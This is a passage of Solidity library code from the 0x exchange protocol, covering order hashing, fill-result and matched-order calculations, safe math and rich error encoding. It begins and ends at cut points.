assembly {
mstore(b, length)
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
library LibBytesRichErrors {
enum InvalidByteOperationErrorCodes {
FromLessThanOrEqualsToRequired,
ToLessThanOrEqualsLengthRequired,
LengthGreaterThanZeroRequired,
LengthGreaterThanOrEqualsFourRequired,
LengthGreaterThanOrEqualsTwentyRequired,
LengthGreaterThanOrEqualsThirtyTwoRequired,
LengthGreaterThanOrEqualsNestedBytesLengthRequired,
DestinationLengthGreaterThanOrEqualSourceLengthRequired
}
// bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)"))
bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR =
0x28006595;
// solhint-disable func-name-mixedcase
function InvalidByteOperationError(
InvalidByteOperationErrorCodes errorCode,
uint256 offset,
uint256 required
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INVALID_BYTE_OPERATION_ERROR_SELECTOR,
errorCode,
offset,
required
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
library LibRichErrors {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR =
0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(
string memory message
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibEIP712.sol";
library LibOrder {
using LibOrder for Order;
// Hash for the EIP712 Order Schema:
// keccak256(abi.encodePacked(
// "Order(",
// "address makerAddress,",
// "address takerAddress,",
// "address feeRecipientAddress,",
// "address senderAddress,",
// "uint256 makerAssetAmount,",
// "uint256 takerAssetAmount,",
// "uint256 makerFee,",
// "uint256 takerFee,",
// "uint256 expirationTimeSeconds,",
// "uint256 salt,",
// "bytes makerAssetData,",
// "bytes takerAssetData,",
// "bytes makerFeeAssetData,",
// "bytes takerFeeAssetData",
// ")"
// ))
bytes32 constant internal _EIP712_ORDER_SCHEMA_HASH =
0xf80322eb8376aafb64eadf8f0d7623f22130fd9491a221e902b713cb984a7534;
// A valid order remains fillable until it is expired, fully filled, or cancelled.
// An order's status is unaffected by external factors, like account balances.
enum OrderStatus {
INVALID, // Default value
INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount
INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount
FILLABLE, // Order is fillable
EXPIRED, // Order has already expired
FULLY_FILLED, // Order is fully filled
CANCELLED // Order has been cancelled
}
// solhint-disable max-line-length
struct Order {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods.
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee; // Fee paid to feeRecipient by maker when order is filled.
uint256 takerFee; // Fee paid to feeRecipient by taker when order is filled.
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The leading bytes4 references the id of the asset proxy.
bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The leading bytes4 references the id of the asset proxy.
bytes makerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerFeeAsset. The leading bytes4 references the id of the asset proxy.
bytes takerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerFeeAsset. The leading bytes4 references the id of the asset proxy.
}
// solhint-enable max-line-length
struct OrderInfo {
uint8 orderStatus; // Status that describes order's validity and fillability.
bytes32 orderHash; // EIP712 typed data hash of the order (see LibOrder.getTypedDataHash).
uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled.
}
/// @dev Calculates the EIP712 typed data hash of an order with a given domain separator.
/// @param order The order structure.
/// @return EIP712 typed data hash of the order.
function getTypedDataHash(Order memory order, bytes32 eip712ExchangeDomainHash)
internal
pure
returns (bytes32 orderHash)
{
orderHash = LibEIP712.hashEIP712Message(
eip712ExchangeDomainHash,
order.getStructHash()
);
return orderHash;
}
/// @dev Calculates EIP712 hash of the order struct.
/// @param order The order structure.
/// @return EIP712 hash of the order struct.
function getStructHash(Order memory order)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_ORDER_SCHEMA_HASH;
bytes memory makerAssetData = order.makerAssetData;
bytes memory takerAssetData = order.takerAssetData;
bytes memory makerFeeAssetData = order.makerFeeAssetData;
bytes memory takerFeeAssetData = order.takerFeeAssetData;
// Assembly for more efficiently computing:
// keccak256(abi.encodePacked(
// EIP712_ORDER_SCHEMA_HASH,
// uint256(order.makerAddress),
// uint256(order.takerAddress),
// uint256(order.feeRecipientAddress),
// uint256(order.senderAddress),
// order.makerAssetAmount,
// order.takerAssetAmount,
// order.makerFee,
// order.takerFee,
// order.expirationTimeSeconds,
// order.salt,
// keccak256(order.makerAssetData),
// keccak256(order.takerAssetData),
// keccak256(order.makerFeeAssetData),
// keccak256(order.takerFeeAssetData)
// ));
assembly {
// Assert order offset (this is an internal error that should never be triggered)
if lt(order, 32) {
invalid()
}
// Calculate memory addresses that will be swapped out before hashing
let pos1 := sub(order, 32)
let pos2 := add(order, 320)
let pos3 := add(order, 352)
let pos4 := add(order, 384)
let pos5 := add(order, 416)
// Backup
let temp1 := mload(pos1)
let temp2 := mload(pos2)
let temp3 := mload(pos3)
let temp4 := mload(pos4)
let temp5 := mload(pos5)
// Hash in place
mstore(pos1, schemaHash)
mstore(pos2, keccak256(add(makerAssetData, 32), mload(makerAssetData))) // store hash of makerAssetData
mstore(pos3, keccak256(add(takerAssetData, 32), mload(takerAssetData))) // store hash of takerAssetData
mstore(pos4, keccak256(add(makerFeeAssetData, 32), mload(makerFeeAssetData))) // store hash of makerFeeAssetData
mstore(pos5, keccak256(add(takerFeeAssetData, 32), mload(takerFeeAssetData))) // store hash of takerFeeAssetData
result := keccak256(pos1, 480)
// Restore
mstore(pos1, temp1)
mstore(pos2, temp2)
mstore(pos3, temp3)
mstore(pos4, temp4)
mstore(pos5, temp5)
}
return result;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibSafeMath.sol";
import "./LibMath.sol";
import "./LibOrder.sol";
library LibFillResults {
using LibSafeMath for uint256;
struct BatchMatchedFillResults {
FillResults[] left; // Fill results for left orders
FillResults[] right; // Fill results for right orders
uint256 profitInLeftMakerAsset; // Profit taken from left makers
uint256 profitInRightMakerAsset; // Profit taken from right makers
}
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of fees paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of fees paid by taker to feeRecipients(s).
uint256 protocolFeePaid; // Total amount of fees paid by taker to the staking contract.
}
struct MatchedFillResults {
FillResults left; // Amounts filled and fees paid of left order.
FillResults right; // Amounts filled and fees paid of right order.
uint256 profitInLeftMakerAsset; // Profit taken from the left maker
uint256 profitInRightMakerAsset; // Profit taken from the right maker
}
/// @dev Calculates amounts filled and fees paid by maker and taker.
/// @param order to be filled.
/// @param takerAssetFilledAmount Amount of takerAsset that will be filled.
/// @param protocolFeeMultiplier The current protocol fee of the exchange contract.
/// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue
/// to be pure rather than view.
/// @return fillResults Amounts filled and fees paid by maker and taker.
function calculateFillResults(
LibOrder.Order memory order,
uint256 takerAssetFilledAmount,
uint256 protocolFeeMultiplier,
uint256 gasPrice
)
internal
pure
returns (FillResults memory fillResults)
{
// Compute proportional transfer amounts
fillResults.takerAssetFilledAmount = takerAssetFilledAmount;
fillResults.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.makerAssetAmount
);
fillResults.makerFeePaid = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.makerFee
);
fillResults.takerFeePaid = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.takerFee
);
// Compute the protocol fee that should be paid for a single fill.
fillResults.protocolFeePaid = gasPrice.safeMul(protocolFeeMultiplier);
return fillResults;
}
/// @dev Calculates fill amounts for the matched orders.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the leftOrder order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftOrderTakerAssetFilledAmount Amount of left order already filled.
/// @param rightOrderTakerAssetFilledAmount Amount of right order already filled.
/// @param protocolFeeMultiplier The current protocol fee of the exchange contract.
/// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue
/// to be pure rather than view.
/// @param shouldMaximallyFillOrders A value that indicates whether or not this calculation should use
/// the maximal fill order matching strategy.
/// @param matchedFillResults Amounts to fill and fees to pay by maker and taker of matched orders.
function calculateMatchedFillResults(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftOrderTakerAssetFilledAmount,
uint256 rightOrderTakerAssetFilledAmount,
uint256 protocolFeeMultiplier,
uint256 gasPrice,
bool shouldMaximallyFillOrders
)
internal
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Derive maker asset amounts for left & right orders, given store taker assert amounts
uint256 leftTakerAssetAmountRemaining = leftOrder.takerAssetAmount.safeSub(leftOrderTakerAssetFilledAmount);
uint256 leftMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor(
leftOrder.makerAssetAmount,
leftOrder.takerAssetAmount,
leftTakerAssetAmountRemaining
);
uint256 rightTakerAssetAmountRemaining = rightOrder.takerAssetAmount.safeSub(rightOrderTakerAssetFilledAmount);
uint256 rightMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor(
rightOrder.makerAssetAmount,
rightOrder.takerAssetAmount,
rightTakerAssetAmountRemaining
);
// Maximally fill the orders and pay out profits to the matcher in one or both of the maker assets.
if (shouldMaximallyFillOrders) {
matchedFillResults = _calculateMatchedFillResultsWithMaximalFill(
leftOrder,
rightOrder,
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else {
matchedFillResults = _calculateMatchedFillResults(
leftOrder,
rightOrder,
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Compute fees for left order
matchedFillResults.left.makerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.left.makerAssetFilledAmount,
leftOrder.makerAssetAmount,
leftOrder.makerFee
);
matchedFillResults.left.takerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.left.takerAssetFilledAmount,
leftOrder.takerAssetAmount,
leftOrder.takerFee
);
// Compute fees for right order
matchedFillResults.right.makerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.right.makerAssetFilledAmount,
rightOrder.makerAssetAmount,
rightOrder.makerFee
);
matchedFillResults.right.takerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.right.takerAssetFilledAmount,
rightOrder.takerAssetAmount,
rightOrder.takerFee
);
// Compute the protocol fee that should be paid for a single fill. In this
// case this should be made the protocol fee for both the left and right orders.
uint256 protocolFee = gasPrice.safeMul(protocolFeeMultiplier);
matchedFillResults.left.protocolFeePaid = protocolFee;
matchedFillResults.right.protocolFeePaid = protocolFee;
// Return fill results
return matchedFillResults;
}
/// @dev Adds properties of both FillResults instances.
/// @param fillResults1 The first FillResults.
/// @param fillResults2 The second FillResults.
/// @return The sum of both fill results.
function addFillResults(
FillResults memory fillResults1,
FillResults memory fillResults2
)
internal
pure
returns (FillResults memory totalFillResults)
{
totalFillResults.makerAssetFilledAmount = fillResults1.makerAssetFilledAmount.safeAdd(fillResults2.makerAssetFilledAmount);
totalFillResults.takerAssetFilledAmount = fillResults1.takerAssetFilledAmount.safeAdd(fillResults2.takerAssetFilledAmount);
totalFillResults.makerFeePaid = fillResults1.makerFeePaid.safeAdd(fillResults2.makerFeePaid);
totalFillResults.takerFeePaid = fillResults1.takerFeePaid.safeAdd(fillResults2.takerFeePaid);
totalFillResults.protocolFeePaid = fillResults1.protocolFeePaid.safeAdd(fillResults2.protocolFeePaid);
return totalFillResults;
}
/// @dev Calculates part of the matched fill results for a given situation using the fill strategy that only
/// awards profit denominated in the left maker asset.
/// @param leftOrder The left order in the order matching situation.
/// @param rightOrder The right order in the order matching situation.
/// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled.
/// @return MatchFillResults struct that does not include fees paid.
function _calculateMatchedFillResults(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Calculate fill results for maker and taker assets: at least one order will be fully filled.
// The maximum amount the left maker can buy is `leftTakerAssetAmountRemaining`
// The maximum amount the right maker can sell is `rightMakerAssetAmountRemaining`
// We have two distinct cases for calculating the fill results:
// Case 1.
// If the left maker can buy more than the right maker can sell, then only the right order is fully filled.
// If the left maker can buy exactly what the right maker can sell, then both orders are fully filled.
// Case 2.
// If the left maker cannot buy more than the right maker can sell, then only the left order is fully filled.
// Case 3.
// If the left maker can buy exactly as much as the right maker can sell, then both orders are fully filled.
if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) {
// Case 1: Right order is fully filled
matchedFillResults = _calculateCompleteRightFill(
leftOrder,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else if (leftTakerAssetAmountRemaining < rightMakerAssetAmountRemaining) {
// Case 2: Left order is fully filled
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
matchedFillResults.right.makerAssetFilledAmount = leftTakerAssetAmountRemaining;
// Round up to ensure the maker's exchange rate does not exceed the price specified by the order.
// We favor the maker when the exchange rate must be rounded.
matchedFillResults.right.takerAssetFilledAmount = LibMath.safeGetPartialAmountCeil(
rightOrder.takerAssetAmount,
rightOrder.makerAssetAmount,
leftTakerAssetAmountRemaining // matchedFillResults.right.makerAssetFilledAmount
);
} else {
// leftTakerAssetAmountRemaining == rightMakerAssetAmountRemaining
// Case 3: Both orders are fully filled. Technically, this could be captured by the above cases, but
// this calculation will be more precise since it does not include rounding.
matchedFillResults = _calculateCompleteFillBoth(
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Calculate amount given to taker
matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub(
matchedFillResults.right.takerAssetFilledAmount
);
return matchedFillResults;
}
/// @dev Calculates part of the matched fill results for a given situation using the maximal fill order matching
/// strategy.
/// @param leftOrder The left order in the order matching situation.
/// @param rightOrder The right order in the order matching situation.
/// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled.
/// @return MatchFillResults struct that does not include fees paid.
function _calculateMatchedFillResultsWithMaximalFill(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// If a maker asset is greater than the opposite taker asset, than there will be a spread denominated in that maker asset.
bool doesLeftMakerAssetProfitExist = leftMakerAssetAmountRemaining > rightTakerAssetAmountRemaining;
bool doesRightMakerAssetProfitExist = rightMakerAssetAmountRemaining > leftTakerAssetAmountRemaining;
// Calculate the maximum fill results for the maker and taker assets. At least one of the orders will be fully filled.
//
// The maximum that the left maker can possibly buy is the amount that the right order can sell.
// The maximum that the right maker can possibly buy is the amount that the left order can sell.
//
// If the left order is fully filled, profit will be paid out in the left maker asset. If the right order is fully filled,
// the profit will be out in the right maker asset.
//
// There are three cases to consider:
// Case 1.
// If the left maker can buy more than the right maker can sell, then only the right order is fully filled.
// Case 2.
// If the right maker can buy more than the left maker can sell, then only the right order is fully filled.
// Case 3.
// If the right maker can sell the max of what the left maker can buy and the left maker can sell the max of
// what the right maker can buy, then both orders are fully filled.
if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) {
// Case 1: Right order is fully filled with the profit paid in the left makerAsset
matchedFillResults = _calculateCompleteRightFill(
leftOrder,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else if (rightTakerAssetAmountRemaining > leftMakerAssetAmountRemaining) {
// Case 2: Left order is fully filled with the profit paid in the right makerAsset.
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
// Round down to ensure the right maker's exchange rate does not exceed the price specified by the order.
// We favor the right maker when the exchange rate must be rounded and the profit is being paid in the
// right maker asset.
matchedFillResults.right.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
rightOrder.makerAssetAmount,
rightOrder.takerAssetAmount,
leftMakerAssetAmountRemaining
);
matchedFillResults.right.takerAssetFilledAmount = leftMakerAssetAmountRemaining;
} else {
// Case 3: The right and left orders are fully filled
matchedFillResults = _calculateCompleteFillBoth(
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Calculate amount given to taker in the left order's maker asset if the left spread will be part of the profit.
if (doesLeftMakerAssetProfitExist) {
matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub(
matchedFillResults.right.takerAssetFilledAmount
);
}
// Calculate amount given to taker in the right order's maker asset if the right spread will be part of the profit.
if (doesRightMakerAssetProfitExist) {
matchedFillResults.profitInRightMakerAsset = matchedFillResults.right.makerAssetFilledAmount.safeSub(
matchedFillResults.left.takerAssetFilledAmount
);
}
return matchedFillResults;
}
/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results
/// to the fillResults that are being collected on the order. Both orders will be fully filled in this
/// case.
/// @param leftMakerAssetAmountRemaining The amount of the left maker asset that is remaining to be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left taker asset that is remaining to be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.
/// @return MatchFillResults struct that does not include fees paid or spreads taken.
function _calculateCompleteFillBoth(
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Calculate the fully filled results for both orders.
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;
matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;
return matchedFillResults;
}
/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results
/// to the fillResults that are being collected on the order.
/// @param leftOrder The left order that is being maximally filled. All of the information about fill amounts
/// can be derived from this order and the right asset remaining fields.
/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.
/// @return MatchFillResults struct that does not include fees paid or spreads taken.
function _calculateCompleteRightFill(
LibOrder.Order memory leftOrder,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;
matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = rightMakerAssetAmountRemaining;
// Round down to ensure the left maker's exchange rate does not exceed the price specified by the order.
// We favor the left maker when the exchange rate must be rounded and the profit is being paid in the
// left maker asset.
matchedFillResults.left.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
leftOrder.makerAssetAmount,
leftOrder.takerAssetAmount,
rightMakerAssetAmountRemaining
);
return matchedFillResults;
}
}
pragma solidity ^0.5.9;
import "./LibRichErrors.sol";
import "./LibSafeMathRichErrors.sol";
library LibSafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
pragma solidity ^0.5.9;
library LibSafeMathRichErrors {
// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibSafeMath.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "./LibMathRichErrors.sol";
library LibMath {
using LibSafeMath for uint256;
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function safeGetPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorFloor(
numerator,
denominator,
target
)) {
LibRichErrors.rrevert(LibMathRichErrors.RoundingError(
numerator,
denominator,
target
));
}
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function safeGetPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorCeil(
numerator,
denominator,
target
)) {
LibRichErrors.rrevert(LibMathRichErrors.RoundingError(
numerator,
denominator,
target
));
}
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function getPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function getPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Checks if rounding error >= 0.1% when rounding down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError());
}
// The absolute rounding error is the difference between the rounded
// value and the ideal value. The relative rounding error is the
// absolute rounding error divided by the absolute value of the
// ideal value. This is undefined when the ideal value is zero.
//
// The ideal value is `numerator * target / denominator`.
// Let's call `numerator * target % denominator` the remainder.
// The absolute error is `remainder / denominator`.
//
// When the ideal value is zero, we require the absolute error to
// be zero. Fortunately, this is always the case. The ideal value is
// zero iff `numerator == 0` and/or `target == 0`. In this case the
// remainder and absolute error are also zero.
